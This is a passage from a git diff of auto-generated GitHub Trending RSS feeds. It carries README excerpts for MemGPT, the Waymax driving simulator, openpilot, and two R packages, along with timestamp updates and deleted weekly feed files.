try running this example to talk to the LlamaIndex API docs!</p> <ol> <li> <p>a. Download LlamaIndex API docs and FAISS index from <a href="https://huggingface.co/datasets/MemGPT/llamaindex-api-docs">Hugging Face</a>.</p> <pre><code class="language-bash"># Make sure you have git-lfs installed (https://git-lfs.com) git lfs install git clone https://huggingface.co/datasets/MemGPT/llamaindex-api-docs mv llamaindex-api-docs </code></pre> <p><strong>-- OR --</strong></p> <p>b. Build the index:</p> <ol> <li>Build <code>llama_index</code> API docs with <code>make text</code>. Instructions <a href="https://github.com/run-llama/llama_index/raw/main/docs/DOCS_README.md">here</a>. Copy over the generated <code>_build/text</code> folder to <code>memgpt/personas/docqa</code>.</li> <li>Generate embeddings and FAISS index. <pre><code class="language-bash">cd memgpt/personas/docqa python3 scrape_docs.py python3 generate_embeddings_for_docs.py all_docs.jsonl python3 build_index.py --embedding_files all_docs.embeddings.jsonl --output_index_file all_docs.index </code></pre> </li> </ol> </li> <li> <p>In the root <code>MemGPT</code> directory, run</p> <pre><code class="language-bash">memgpt --archival_storage_faiss_path=&lt;ARCHIVAL_STORAGE_FAISS_PATH&gt; --persona=memgpt_doc --human=basic </code></pre> <p>where <code>ARCHIVAL_STORAGE_FAISS_PATH</code> is the directory where <code>all_docs.jsonl</code> and <code>all_docs.index</code> are located. If you downloaded from Hugging Face, it will be <code>memgpt/personas/docqa/llamaindex-api-docs</code>. If you built the index yourself, it will be <code>memgpt/personas/docqa</code>.</p> </li> </ol> </details> <h2>Support</h2> <p>If you have any further questions, or have anything to share, we are excited to hear your feedback!</p> <ul> <li>By default MemGPT will use <code>gpt-4</code>, so your API key will require <code>gpt-4</code> API access</li> <li>For issues and feature requests, please <a href="https://github.com/cpacker/MemGPT/issues">open a GitHub issue</a> or message us on our <code>#support</code> channel on <a href="https://discord.gg/9GEQrxmVyE">Discord</a></li> </ul> <h2>Datasets</h2> <p>Datasets used in our <a href="https://arxiv.org/abs/2310.08560">paper</a> can be downloaded at <a href="https://huggingface.co/MemGPT">Hugging Face</a>.</p> <h2>🚀 Project Roadmap</h2> <ul> <li><input type="checkbox" checked disabled> Release MemGPT Discord bot demo (perpetual chatbot)</li> <li><input type="checkbox" checked disabled> Add additional workflows (load SQL/text into MemGPT external context)</li> <li><input type="checkbox" checked disabled> Integration tests</li> <li><input type="checkbox" checked disabled> Integrate with AutoGen (<a href="https://github.com/cpacker/MemGPT/discussions/65">discussion</a>)</li> <li><input type="checkbox" checked disabled> Add official gpt-3.5-turbo support (<a href="https://github.com/cpacker/MemGPT/discussions/66">discussion</a>)</li> <li><input type="checkbox" checked disabled> CLI UI improvements (<a href="https://github.com/cpacker/MemGPT/issues/11">issue</a>)</li> <li><input type="checkbox" checked disabled> Add support for other LLM backends (<a href="https://github.com/cpacker/MemGPT/issues/18">issue</a>, <a href="https://github.com/cpacker/MemGPT/discussions/67">discussion</a>)</li> <li><input type="checkbox" disabled> Release MemGPT family of open models (eg finetuned Mistral) (<a href="https://github.com/cpacker/MemGPT/discussions/67">discussion</a>)</li> </ul> <h2>Development</h2> <p><em>Reminder: if you do not plan on modifying the source code, simply install MemGPT with <code>pip install pymemgpt</code>!</em></p> <p>First, install Poetry using <a href="https://python-poetry.org/docs/#installing-with-the-official-installer">the official instructions here</a>.</p> <p>Then, you can install MemGPT from source with:</p> <pre><code>git clone git@github.com:cpacker/MemGPT.git poetry shell poetry install </code></pre> <p>We recommend installing pre-commit to ensure proper formatting during development:</p> <pre><code>pip install pre-commit pre-commit install pre-commit run --all-files </code></pre> <h3>Contributing</h3> <p>We welcome pull requests! Please run the formatter before submitting a pull request:</p> <pre><code>poetry run black . -l 140 </code></pre> - - - waymo-research/waymax - 2023-10-29T02:00:02Z - tag:github.com,2023-10-29:/waymo-research/waymax - - <p>A JAX-based simulator for autonomous driving research.</p><hr><h1>Waymax: An accelerated simulator for autonomous driving research.</h1> <p><img src="https://github.com/waymo-research/waymax/actions/workflows/ci-build.yml/badge.svg?sanitize=true" alt="Continuous integration"> <a href="https://arxiv.org/abs/2310.08710"><img src="https://img.shields.io/badge/cs.RO-2310.08710-b31b1b?logo=arxiv&amp;logoColor=red" alt="arXiv"></a></p> <p><a href="https://waymo-research.github.io/waymax/docs/"><strong>Documentation</strong></a> | <a href="https://waymo-research.github.io/waymax/docs/getting_started.html"><strong>Tutorials</strong></a></p> <h2>Overview</h2> <p>Waymax is a lightweight, multi-agent, JAX-based simulator for autonomous driving research based on the <a href="https://waymo.com/open/">Waymo Open Motion Dataset</a>. Waymax is designed to support research for all aspects of behavior research in autonomous driving - from closed-loop simulation for planning and sim agent research to open-loop behavior prediction. Objects (e.g. vehicles, pedestrians) are represented as bounding boxes, rather than raw sensor outputs, in order to distill behavior research into its simplest form.</p> <p>As all components are entirely written in JAX, Waymax is easily distributed and deployed on hardware accelerators, such as GPUs and <a href="https://cloud.google.com/tpu">TPUs</a>.</p> <h2>Installation</h2> <p>Waymax can be installed via pip using the following command:</p> <pre><code>pip install --upgrade pip pip install git+https://github.com/waymo-research/waymax.git@main#egg=waymo-waymax </code></pre> <p>Please refer to <a href="https://github.com/google/jax#installation">JAX</a> for specific instructions on how to setup JAX with GPU/CUDA support if needed.</p> <h3>Configure access to Waymo Open Motion Dataset</h3> <p>Waymax is designed to work with the Waymo Open Motion dataset out of the box.</p> <p>A simple way to configure access is the following:</p> <ol> <li> <p>Apply for <a href="https://waymo.com/open">Waymo Open Dataset</a> access.</p> </li> <li> <p>Install <a href="https://cloud.google.com/sdk/docs/install">gcloud CLI</a></p> </li> <li> <p>Run <code>gcloud auth login &lt;your_email&gt;</code> with the same email used for step 1.</p> </li> <li> <p>Run <code>gcloud auth application-default login</code>.</p> </li> </ol> <p>Please reference <a href="https://www.tensorflow.org/datasets/gcs#authentication">TF Datasets</a> for alternative methods to authentication.</p> <h2>Components</h2> <p>Structurally, Waymax is comprised of a collection of libraries for loading Open Motion data, visualization, computing common metrics, intelligent sim agents, and adapters to common RL interfaces such as <a href="https://github.com/deepmind/dm_env">dm-env</a>. These libraries can be used as standalone modules, or used together in full closed-loop simulation.</p> <h3>Dataloading</h3> <p>The <code>waymax.dataloader</code> module contains utilities for loading data from the <a href="https://waymo.com/open/">Waymo Open Motion Dataset</a>.</p> <pre><code class="language-python">from waymax import config from waymax import dataloader scenarios = dataloader.simulator_state_generator(config.WOD_1_1_0_TRAINING) scenario = next(scenarios) </code></pre> <h3>Metrics</h3> <p>The <code>waymax.metrics</code> module defines commonly used metrics for evaluating agents. These metrics can be used to evaluate simulated rollouts, or open-loop predictions from behavior models. Supported metrics include:</p> <ul> <li><a href="https://github.com/waymo-research/waymax/tree/main/waymax/metrics/overlap.py">Overlap</a></li> <li><a href="https://github.com/waymo-research/waymax/tree/main/waymax/metrics/roadgraph.py">Offroad</a></li> <li><a href="https://github.com/waymo-research/waymax/tree/main/waymax/metrics/roadgraph.py">Wrong-way</a></li> <li><a href="https://github.com/waymo-research/waymax/tree/main/waymax/metrics/route.py">Route-following</a></li> <li><a href="https://github.com/waymo-research/waymax/tree/main/waymax/metrics/comfort.py">Kinematic infeasibility</a></li> <li><a href="https://github.com/waymo-research/waymax/tree/main/waymax/metrics/imitation.py">Log divergence (MSE)</a></li> </ul> <h3>Agents</h3> <p>The <code>waymax.agents</code> module defines intelligent simulated agents for realistic simulation. Waymax currently supports:</p> <ul> <li>Log-playback</li> <li><a href="https://github.com/waymo-research/waymax/tree/main/waymax/agents/waypoint_following_agent.py">IDM</a></li> </ul> <h3>Environments and dynamics</h3> <p>The <code>waymax.env</code> module defines a stateless, closed-loop simulator interface as well as adapters to common RL interfaces such as <a href="https://github.com/deepmind/dm_env">dm-env</a> and <a href="https://github.com/google/brax">brax</a>.</p> <p>A multi-agent simulation with rewards computed for all agents can be run as follows:</p> <pre><code class="language-python">from waymax import env, config, dynamics, datatypes # Initialization dynamics_model = dynamics.InvertibleBicycleModel() env_config = config.EnvironmentConfig() scenarios = dataloader.simulator_state_generator(config.WOD_1_1_0_TRAINING) waymax_env = env.MultiAgentEnvironment(dynamics_model, env_config) # Rollout state = waymax_env.reset(next(scenarios)) total_returns = 0 while not state.is_done: action = datatypes.Action(data=..., valid=...) # Compute action here total_returns += waymax_env.reward(state, action) state = waymax_env.step(state, action) </code></pre> <h2>Tutorials</h2> <p>We provide a few <a href="https://github.com/waymo-research/waymax/raw/main/docs/notebooks">colab tutorials</a> for getting started:</p> <ul> <li><a href="https://github.com/waymo-research/waymax/raw/main/docs/notebooks/data_demo.ipynb">data_demo.ipynb</a> shows how to load the data and use the top-down view visualization.</li> <li><a href="https://github.com/waymo-research/waymax/raw/main/docs/notebooks/multi_actors_demo.ipynb">multi_actors_demo.ipynb</a> shows how to instantiate multiple agents and run a simple closed-loop simulation.</li> <li><a href="https://github.com/waymo-research/waymax/raw/main/docs/notebooks/wosac_submission_via_waymax.ipynb">wosac_submission_via_waymax.ipynb</a> shows how to create a Waymo Open Sim Agents Challenge submission file.</li> </ul> <h2>Citing Waymax</h2> <p>If you use Waymax for your own research, please cite Waymax in accordance with the requirements of the Waymax License Agreement for Non-Commercial Use, including using the following bibtex entry:</p> <pre><code>@inproceedings{waymax, title={Waymax: An Accelerated, Data-Driven Simulator for Large-Scale Autonomous Driving Research}, author={Cole Gulino and Justin Fu and Wenjie Luo and George Tucker and Eli Bronstein and Yiren Lu and Jean Harb and Xinlei Pan and Yan Wang and Xiangyu Chen and John D. Co-Reyes and Rishabh Agarwal and Rebecca Roelofs and Yao Lu and Nico Montali and Paul Mougin and Zoey Yang and Brandyn White and Aleksandra Faust, and Rowan McAllister and Dragomir Anguelov and Benjamin Sapp}, booktitle={Proceedings of the Neural Information Processing Systems Track on Datasets and Benchmarks},year={2023}} </code></pre> - - - commaai/openpilot - 2023-10-29T02:00:02Z - tag:github.com,2023-10-29:/commaai/openpilot - - <p>openpilot is an open source driver assistance system. openpilot performs the functions of Automated Lane Centering and Adaptive Cruise Control for 250+ supported car makes and models.</p><hr><p><img src="https://github.com/commaai/openpilot/assets/4038174/f1081737-8718-4241-a22a-3ceba526361a" alt="openpilot on the comma 3X"></p> <h1>Table of Contents</h1> <ul> <li><a href="https://raw.githubusercontent.com/commaai/openpilot/master/#what-is-openpilot">What is openpilot?</a></li> <li><a href="https://raw.githubusercontent.com/commaai/openpilot/master/#running-on-a-dedicated-device-in-a-car">Running in a car</a></li> <li><a href="https://raw.githubusercontent.com/commaai/openpilot/master/#running-on-pc">Running on PC</a></li> <li><a href="https://raw.githubusercontent.com/commaai/openpilot/master/#community-and-contributing">Community and Contributing</a></li> <li><a href="https://raw.githubusercontent.com/commaai/openpilot/master/#user-data-and-comma-account">User Data and comma Account</a></li> <li><a href="https://raw.githubusercontent.com/commaai/openpilot/master/#safety-and-testing">Safety and Testing</a></li> <li><a href="https://raw.githubusercontent.com/commaai/openpilot/master/#directory-structure">Directory Structure</a></li> <li><a href="https://raw.githubusercontent.com/commaai/openpilot/master/#licensing">Licensing</a></li> </ul> <hr> <h2>What is openpilot?</h2> <p><a href="http://github.com/commaai/openpilot">openpilot</a> is an open source driver assistance system. Currently, openpilot performs the functions of Adaptive Cruise Control (ACC), Automated Lane Centering (ALC), Forward Collision Warning (FCW), and Lane Departure Warning (LDW) for a growing variety of <a href="https://raw.githubusercontent.com/commaai/openpilot/master/docs/CARS.md">supported car makes, models, and model years</a>. In addition, while openpilot is engaged, a camera-based Driver Monitoring (DM) feature alerts distracted and asleep drivers. See more about <a href="https://raw.githubusercontent.com/commaai/openpilot/master/docs/INTEGRATION.md">the vehicle integration</a> and <a href="https://raw.githubusercontent.com/commaai/openpilot/master/docs/LIMITATIONS.md">limitations</a>.</p> <table> <tbody> <tr> <td><a href="https://youtu.be/NmBfgOanCyk" title="Video By Greer Viau"><img src="https://i.imgur.com/1w8c6d2.jpg"></a></td> <td><a href="https://youtu.be/VHKyqZ7t8Gw" title="Video By Logan LeGrand"><img src="https://i.imgur.com/LnBucik.jpg"></a></td> <td><a href="https://youtu.be/VxiR4iyBruo" title="Video By Charlie Kim"><img src="https://i.imgur.com/4Qoy48c.jpg"></a></td> <td><a href="https://youtu.be/-IkImTe1NYE" title="Video By Aragon"><img src="https://i.imgur.com/04VNzPf.jpg"></a></td> </tr> <tr> <td><a href="https://youtu.be/iIUICQkdwFQ" title="Video By Logan LeGrand"><img src="https://i.imgur.com/b1LHQTy.jpg"></a></td> <td><a href="https://youtu.be/XOsa0FsVIsg" title="Video By PinoyDrives"><img src="https://i.imgur.com/6FG0Bd8.jpg"></a></td> <td><a href="https://youtu.be/bCwcJ98R_Xw" title="Video By JS"><img src="https://i.imgur.com/zO18CbW.jpg"></a></td> <td><a href="https://youtu.be/BQ0tF3MTyyc" title="Video By Tsai-Fi"><img src="https://i.imgur.com/eZzelq3.jpg"></a></td> </tr> </tbody> </table> <h2>Running on a dedicated device in a car</h2> <p>To use openpilot in a car, you need four things</p> <ol> <li> <p><strong>Supported Device:</strong> A comma 3/3X. You can purchase these devices from (<a href="https://comma.ai/shop/comma-3x">https://comma.ai/shop/comma-3x</a>)</p> </li> <li> <p><strong>Software:</strong> The setup procedure for the comma 3/3X allows users to enter a URL for custom software. To install the release version of openpilot, use the URL <code>openpilot.comma.ai</code>. To install openpilot master (for more advanced users), use the URL <code>installer.comma.ai/commaai/master</code>. You can replace "commaai" with another GitHub username to install a fork.</p> </li> <li> <p><strong>Supported Car:</strong> Ensure that you have one of <a href="https://raw.githubusercontent.com/commaai/openpilot/master/docs/CARS.md">the 250+ supported cars</a>. openpilot supports a wide range of car makes including Honda, Toyota, Hyundai, Nissan, Kia, Chrysler, Lexus, Acura, Audi, VW, Ford, and many more. If your car is not officially listed as supported but has adaptive cruise control and lane-keeping assist, it's likely capable of running openpilot.</p> </li> <li> <p><strong>Car Harness:</strong> You will also need a <a href="https://comma.ai/shop/car-harness">car harness</a> to connect your comma 3/3X to your car. We have detailed instructions for <a href="https://comma.ai/setup">how to install the harness and device in a car</a>.</p> </li> </ol> <h2>Running on PC</h2> <p>All openpilot services can run as usual on a PC without requiring special hardware or a car. You can also run openpilot on recorded or simulated data to develop or experiment with openpilot.</p> <p>With openpilot's tools, you can plot logs, replay drives, and watch the full-res camera streams. See <a href="https://raw.githubusercontent.com/commaai/openpilot/master/tools/README.md">the tools README</a> for more information.</p> <p>You can also run openpilot in simulation <a href="https://raw.githubusercontent.com/commaai/openpilot/master/tools/sim/README.md">with the CARLA simulator</a>. This allows openpilot to drive around a virtual car on your Ubuntu machine. The whole setup should only take a few minutes but does require a decent GPU.</p> <p>A PC running openpilot can also control your vehicle if it is connected to a <a href="https://github.com/commaai/openpilot/tree/master/tools/webcam">webcam</a>, a <a href="https://comma.ai/shop/products/panda">black panda</a>, and a <a href="https://comma.ai/shop/products/car-harness">harness</a>.</p> <h2>Community and Contributing</h2> <p>openpilot is developed by <a href="https://comma.ai/">comma</a> and by users like you. We welcome both pull requests and issues on <a href="http://github.com/commaai/openpilot">GitHub</a>. Bug fixes and new car ports are encouraged. Check out <a href="https://raw.githubusercontent.com/commaai/openpilot/master/docs/CONTRIBUTING.md">the contributing docs</a>.</p> <p>Documentation related to openpilot development can be found on <a href="https://docs.comma.ai">docs.comma.ai</a>. Information about running openpilot (e.g. FAQ, fingerprinting, troubleshooting, custom forks, community hardware) should go on the <a href="https://github.com/commaai/openpilot/wiki">wiki</a>.</p> <p>You can add support for your car by following guides we have written for <a href="https://blog.comma.ai/how-to-write-a-car-port-for-openpilot/">Brand</a> and <a href="https://blog.comma.ai/openpilot-port-guide-for-toyota-models/">Model</a> ports. Generally, a car with adaptive cruise control and lane keep assist is a good candidate. <a href="https://discord.comma.ai">Join our Discord</a> to discuss car ports: most car makes have a dedicated channel.</p> <p>Want to get paid to work on openpilot? <a href="https://comma.ai/jobs#open-positions">comma is hiring</a>.</p> <p>And <a href="https://twitter.com/comma_ai">follow us on Twitter</a>.</p> <h2>User Data and comma Account</h2> <p>By default, openpilot uploads the driving data to our servers. You can also access your data through <a href="https://connect.comma.ai/">comma connect</a>. We use your data to train better models and improve openpilot for everyone.</p> <p>openpilot is open source software: the user is free to disable data collection if they wish to do so.</p> <p>openpilot logs the road-facing cameras, CAN, GPS, IMU, magnetometer, thermal sensors, crashes, and operating system logs. The driver-facing camera is only logged if you explicitly opt-in in settings. The microphone is not recorded.</p> <p>By using openpilot, you agree to <a href="https://comma.ai/privacy">our Privacy Policy</a>. You understand that use of this software or its related services will generate certain types of user data, which may be logged and stored at the sole discretion of comma. By accepting this agreement, you grant an irrevocable, perpetual, worldwide right to comma for the use of this data.</p> <h2>Safety and Testing</h2> <ul> <li>openpilot observes ISO26262 guidelines, see <a href="https://raw.githubusercontent.com/commaai/openpilot/master/docs/SAFETY.md">SAFETY.md</a> for more details.</li> <li>openpilot has software-in-the-loop <a href="https://raw.githubusercontent.com/commaai/openpilot/master/.github/workflows/selfdrive_tests.yaml">tests</a> that run on every commit.</li> <li>The code enforcing the safety model lives in panda and is written in C, see <a href="https://github.com/commaai/panda#code-rigor">code rigor</a> for more details.</li> <li>panda has software-in-the-loop <a href="https://github.com/commaai/panda/tree/master/tests/safety">safety tests</a>.</li> <li>Internally, we have a hardware-in-the-loop Jenkins test suite that builds and unit tests the various processes.</li> <li>panda has additional hardware-in-the-loop <a href="https://github.com/commaai/panda/raw/master/Jenkinsfile">tests</a>.</li> <li>We run the latest openpilot in a testing closet containing 10 comma devices continuously replaying routes.</li> </ul> <h2>Directory Structure</h2> <pre><code>. ├── cereal # The messaging spec and libs used for all logs ├── common # Library like functionality we've developed here ├── docs # Documentation ├── opendbc # Files showing how to interpret data from cars ├── panda # Code used to communicate on CAN ├── third_party # External libraries └── system # Generic services ├── camerad # Driver to capture images from the camera sensors ├── hardware # Hardware abstraction classes ├── logcatd # systemd journal as a service ├── loggerd # Logger and uploader of car data ├── proclogd # Logs information from /proc ├── sensord # IMU interface code └── ubloxd # u-blox GNSS module interface code └── selfdrive # Code needed to drive the car ├── assets # Fonts, images, and sounds for UI ├── athena # Allows communication with the app ├── boardd # Daemon to talk to the board ├── car # Car specific code to read states and control actuators ├── controls # Planning and controls ├── debug # Tools to help you debug and do car ports ├── locationd # Precise localization and vehicle parameter estimation ├── manager # Daemon that starts/stops all other daemons as needed ├── modeld # Driving and monitoring model runners ├── monitoring # Daemon to determine driver attention ├── navd # Turn-by-turn navigation ├── test # Unit tests, system tests, and a car simulator └── ui # The UI </code></pre> <h2>Licensing</h2> <p>openpilot is released under the MIT license. Some parts of the software are released under other licenses as specified.</p> <p>Any user of this software shall indemnify and hold harmless Comma.ai, Inc. and its directors, officers, employees, agents, stockholders, affiliates, subcontractors and customers from and against all allegations, claims, actions, suits, demands, damages, liabilities, obligations, losses, settlements, judgments, costs and expenses (including without limitation attorneys’ fees and costs) which arise out of, relate to or result from any use of this software by user.</p> <p><strong>THIS IS ALPHA QUALITY SOFTWARE FOR RESEARCH PURPOSES ONLY. THIS IS NOT A PRODUCT. YOU ARE RESPONSIBLE FOR COMPLYING WITH LOCAL LAWS AND REGULATIONS. NO WARRANTY EXPRESSED OR IMPLIED.</strong></p> <hr> <p><img src="https://d1qb2nb5cznatu.cloudfront.net/startups/i/1061157-bc7e9bf3b246ece7322e6ffe653f6af8-medium_jpg.jpg?buster=1458363130" width="75"> <img src="https://cdn-images-1.medium.com/max/1600/1*C87EjxGeMPrkTuVRVWVg4w.png" width="225"></p> <p><a href="https://github.com/commaai/openpilot/actions"><img src="https://github.com/commaai/openpilot/workflows/openpilot%20tests/badge.svg?event=push" alt="openpilot tests"></a> <a href="https://codecov.io/gh/commaai/openpilot"><img src="https://codecov.io/gh/commaai/openpilot/branch/master/graph/badge.svg?sanitize=true" alt="codecov"></a></p> - - \ No newline at end of file diff --git a/q%23/daily/index.xml b/q%23/daily/index.xml index c935b1eafc4..b430f2cae7b 100644 --- a/q%23/daily/index.xml +++ b/q%23/daily/index.xml @@ -1,7 +1,7 @@ GitHub Q# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:41Z + 2023-10-30T01:34:35Z Daily Trending of Q# in GitHub \ No newline at end of file diff --git a/q%23/weekly/index.xml b/q%23/weekly/index.xml deleted file mode 100644 index 91757b80f6a..00000000000 --- a/q%23/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Q# Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:24Z - Weekly Trending of Q# in GitHub - - \ No newline at end of file diff --git a/q/daily/index.xml b/q/daily/index.xml index dae797ce721..c1916f97b15 100644 --- a/q/daily/index.xml +++ b/q/daily/index.xml @@ -1,7 +1,7 @@ GitHub q Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:42Z + 2023-10-30T01:34:35Z Daily Trending of q in GitHub \ No newline at end of file diff --git a/q/weekly/index.xml b/q/weekly/index.xml deleted file mode 100644 index a636ceebb4b..00000000000 --- a/q/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub q Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:21Z - Weekly Trending of q in GitHub - - \ No newline at end of file diff --git a/qmake/daily/index.xml b/qmake/daily/index.xml index c5ed6804a67..098301c2ba9 100644 --- a/qmake/daily/index.xml +++ b/qmake/daily/index.xml @@ -1,7 +1,7 @@ GitHub QMake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:40Z + 2023-10-30T01:34:36Z Daily Trending of QMake in GitHub \ No newline at end of file diff --git a/qmake/weekly/index.xml b/qmake/weekly/index.xml deleted file mode 100644 index 1c6f9624d84..00000000000 --- a/qmake/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub QMake Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:22Z - Weekly Trending of QMake in GitHub - - \ No newline at end of file diff --git a/qml/daily/index.xml b/qml/daily/index.xml index 052fde11dc9..ee0bbeb09b6 100644 --- a/qml/daily/index.xml +++ b/qml/daily/index.xml @@ -1,7 +1,7 @@ GitHub QML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:44Z + 2023-10-30T01:34:38Z Daily Trending of QML in GitHub \ No newline at end of file diff --git a/qml/weekly/index.xml b/qml/weekly/index.xml deleted file mode 100644 index 87745637e23..00000000000 --- a/qml/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub QML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:26Z - Weekly Trending of QML in GitHub - - - vinceliuice/MacSonoma-kde - 2023-10-29T02:00:26Z - tag:github.com,2023-10-29:/vinceliuice/MacSonoma-kde - - <p>MacOS Sonoma theme for KDE Plasma</p><hr> - - \ No newline at end of file diff --git a/qt-script/daily/index.xml b/qt-script/daily/index.xml index 584f5dc53d9..bc64d26fdc9 100644 --- a/qt-script/daily/index.xml +++ b/qt-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Qt Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:45Z + 2023-10-30T01:34:39Z Daily Trending of Qt Script in GitHub \ No newline at end of file diff --git a/qt-script/weekly/index.xml b/qt-script/weekly/index.xml deleted file mode 100644 index b4d46092ffa..00000000000 --- a/qt-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Qt Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:27Z - Weekly Trending of Qt Script in GitHub - - \ No newline at end of file diff --git a/quake/daily/index.xml b/quake/daily/index.xml index 6553360b577..3102afc6fb2 100644 --- a/quake/daily/index.xml +++ b/quake/daily/index.xml @@ -1,7 +1,7 @@ GitHub Quake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:43Z + 2023-10-30T01:34:38Z Daily Trending of Quake in GitHub \ No newline at end of file diff --git a/quake/weekly/index.xml b/quake/weekly/index.xml deleted file mode 100644 index ef1ca4e02d6..00000000000 --- a/quake/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Quake Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:25Z - Weekly Trending of Quake in GitHub - - \ No newline at end of file diff --git a/r/daily/index.xml b/r/daily/index.xml index bdce1ecdbe0..368dcd27ed7 100644 --- a/r/daily/index.xml +++ b/r/daily/index.xml @@ -1,14 +1,28 @@ GitHub R Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:48Z + 2023-10-30T01:34:41Z Daily Trending of R in GitHub - mojaveazure/seurat-object - 2023-10-29T01:40:48Z - tag:github.com,2023-10-29:/mojaveazure/seurat-object - - <p></p><hr><h1>SeuratObject</h1> <!-- badges: start --> <p><a href="https://github.com/mojaveazure/seurat-object"><img src="https://img.shields.io/badge/lifecycle-stable-brightgreen.svg?sanitize=true" alt="Lifecycle"></a> <a href="https://cran.r-project.org/package=SeuratObject"><img src="https://img.shields.io/cran/v/SeuratObject" alt="CRAN/METACRAN"></a> <a href="https://cran.r-project.org/package=SeuratObject"><img src="https://tinyverse.netlify.com/badge/SeuratObject" alt="dependencies"></a> <a href="https://cran.r-project.org/package=SeuratObject"><img src="https://cranlogs.r-pkg.org/badges/SeuratObject?color=brightgreen" alt="Downloads"></a></p> <!-- badges: end --> <p>Defines S4 classes for single-cell genomic data and associated information, such as dimensionality reduction embeddings, nearest-neighbor graphs, and spatially-resolved coordinates. Provides data access methods and R-native hooks to ensure the Seurat object is familiar to other R users. See Satija R, Farrell J, Gennert D, et al (2015) <a href="doi:10.1038/nbt.3192">doi:10.1038/nbt.3192</a>, Macosko E, Basu A, Satija R, et al (2015) <a href="doi:10.1016/j.cell.2015.05.002">doi:10.1016/j.cell.2015.05.002</a>, and Stuart T, Butler A, et al (2019) <a href="doi:10.1016/j.cell.2019.05.031">doi:10.1016/j.cell.2019.05.031</a>, Hao Y, Hao S, et al (2021) <a href="doi:10.1016/j.cell.2021.04.048">doi:10.1016/j.cell.2021.04.048</a> and Hao Y, et al (2023) <a href="doi:10.1101/2022.02.24.481684">doi:10.1101/2022.02.24.481684</a> for more details.</p> <h2>Installation</h2> <p>SeuratObject is available on CRAN</p> <pre><code class="language-r">install.packages("SeuratObject") </code></pre> + JosiahParry/pyfns + 2023-10-30T01:34:41Z + tag:github.com,2023-10-30:/JosiahParry/pyfns + + <p>Exporting python functions in R packages</p><hr><h1>pyfns</h1> <p>This package serves to illustrate a minimal approach to exporting Python functions in R packages.</p> <p>The process is <em>fairly</em> simple.</p> <ul> <li>We create an environment inside of our package</li> <li>On package start-up we source python scripts using <code>reticulate::source_python()</code> into the new environment</li> <li>We create R wrapper functions that call the reticulated function.</li> </ul> <p>Example usage:</p> <pre><code class="language-r">pyfns::hello_world() #&gt; [1] "Helloooo world" </code></pre> <h2>Storing Python Scripts</h2> <p>Store python scripts inside of <code>inst/</code>. These files can be read using <code>system.file()</code>. In this example <code>inst/helloworld.py</code> contains</p> <pre><code class="language-py">def hello_world(): return "Helloooo world" </code></pre> <h2>Creating an environment</h2> <p>Before we can source python scripts, we must create an environment to soure them into. This is done in <code>R/env.R</code> like so</p> <pre><code class="language-r">pyfn_env &lt;- rlang::env() </code></pre> <h2>Sourcing scripts</h2> <p>Scripts are sourced in <code>R/zzz.R</code> in which there is an <code>.onLoad()</code> function call. This gets called only once when the package is loaded.</p> <pre><code class="language-r">.onLoad &lt;- function(libname, pkgname){ reticulate::source_python( system.file("helloworld.py", package = "pyfns"), envir = pyfn_env ) } </code></pre> <p>In this chunk we use <code>reticulate::source_python()</code> to bring the python function into scope. The function needs a path to the python script that we want to source. This is where <code>system.file()</code> comes into play. It can access files stored in <code>inst</code>. <em>Note that it does not include <code>inst</code></em>. And most importantly we set <code>envir = pyfn_env</code> which is the environment we created in <code>R/env.R</code></p> <h2>Wrapper functions</h2> <p>Since the functions are being sourced into <code>pyfn_env</code> they can be called from the environment directly. In <code>R/env.R</code>, the R function <code>hello_world()</code> is just calling the <code>hello_world()</code> python function from the <code>pyfn_env</code>. If there were arguments we can pass them in using <code>...</code> in the outer function or recreating the same function arguments.</p> <pre><code class="language-r">#'@export hello_world &lt;- function() { pyfn_env$hello_world() } </code></pre> + + + yingyonghui/CommPath + 2023-10-30T01:34:41Z + tag:github.com,2023-10-30:/yingyonghui/CommPath + + <p>R toolkit for inference and analysis of pathway-mediated cell-cell communication chain from single-cell transcriptomics</p><hr><h1>CommPath</h1> <p>CommPath is an R package for inference and analysis of ligand-receptor interactions from single cell RNA sequencing data.</p> <h2>Installation</h2> <p>CommPath R package can be easily installed from Github using devtools:</p> <pre><code>devtools::install_github("yingyonghui/CommPath") library(CommPath) </code></pre> <h3>Dependencies</h3> <ul> <li>library(<a href="https://cran.r-project.org/web/packages/Matrix/index.html">Matrix</a>)</li> <li>library(<a href="https://cran.r-project.org/web/packages/circlize/index.html">circlize</a>)</li> <li>library(<a href="https://cran.r-project.org/web/packages/ggplot2/index.html">ggplot2</a>)</li> <li>library(<a href="https://cran.r-project.org/web/packages/dplyr/index.html">dplyr</a>)</li> <li>library(<a href="https://cran.r-project.org/web/packages/reshape2/index.html">reshape2</a>)</li> <li>library(<a href="https://www.bioconductor.org/packages/release/bioc/html/GSVA.html">GSVA</a>) (suggested)</li> </ul> <h2>Tutorials</h2> <p>In this vignette we show CommPath's steps and functionalities for inference and analysis of ligand-receptor interactions by applying it to a scRNA-seq data (GEO accession number: GSE156337) on cells from hepatocellular carcinoma (HCC) patients.</p> <h3>Brief description of CommPath object</h3> <p>We start CommPath analysis by creating a CommPath object, which is a S4 object and consists of six slots including (i) 